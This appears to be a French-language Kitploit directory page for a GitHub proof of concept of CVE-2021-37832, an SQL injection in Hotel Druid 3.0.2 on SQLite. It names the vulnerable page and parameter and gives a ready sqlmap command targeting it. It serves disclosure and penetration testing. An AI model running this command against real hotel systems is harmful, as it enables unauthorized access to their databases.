Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-37832 — CVE-2021-37832 - Vulnérabilité d'injection SQL dans Hotel Druid 3.0.2 - 9.8 CVSS 3.1 | Kitploit
Outils/GitHubGitHub/dievus/cve-2021-37832
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubdievus/cve-2021-37832

CVE-2021-37832

CVE-2021-37832 - Vulnérabilité d'injection SQL dans Hotel Druid 3.0.2 - 9.8 CVSS 3.1

Voir le dépôt
41il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE 2021-37832 Vulnérabilité d'injection SQL dans Hotel Druid 3.0.2

Une vulnérabilité d'injection SQL existe dans la version 3.0.2 de Hotel Druid lorsque SQLite est utilisé comme base de données de l'application. Un attaquant malveillant peut envoyer des commandes SQL à la base de données SQLite via le paramètre vulnérable idappartamenti.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37832

https://nvd.nist.gov/vuln/detail/CVE-2021-37832#match-6858716

Page PHP vulnérable :

modifica_app.php - paramètre idappartamenti

Payload vulnérable

sqlmap -u "/modifica_app.php?tipo_tabella=appartamenti&anno=2021&id_sessione=&idappartamenti=01" --level=3 --risk=2 --banner --dbms=sqlite

Découvert par Joe Helle, juillet 2021

Télécharger l’outil